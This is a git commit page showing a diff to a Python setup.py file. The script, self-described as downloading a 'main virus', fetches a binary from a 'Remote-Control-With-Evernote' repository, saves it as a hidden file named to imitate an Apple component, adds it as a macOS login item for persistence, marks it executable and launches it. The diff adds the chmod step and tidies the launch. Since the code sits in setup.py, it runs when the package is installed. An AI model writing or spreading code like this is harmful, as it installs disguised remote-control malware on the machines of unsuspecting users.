summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-14 16:48:35 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-14 16:48:35 +0800
commited41c0b39a3722a45f65d7bf9ad7e21fa404b7df (patch)
tree3009aaddfab5a1ed851ca21aefb829e27f3afc22 /setup.py
parent2259bb7f7f8ce6f80454f09a4d52b2e365e2f89d (diff)
updated
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py10
1 files changed, 6 insertions, 4 deletions
diff --git a/setup.py b/setup.py
index 76e9ca0..1ef4d3e 100644
--- a/setup.py
+++ b/setup.py
@@ -2,13 +2,15 @@ from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
-from os import system as cmd
+from os import system, chmod
filename = "com.apple.com.user.core"
+localfile = f"{expanduser('~')}/.{filename}"
# download main virus
-open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
+open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
-cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
+system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
+chmod(localfile, 755)
-subproc([f"{expanduser('~')}/.{filename}"])
+subproc([localfile])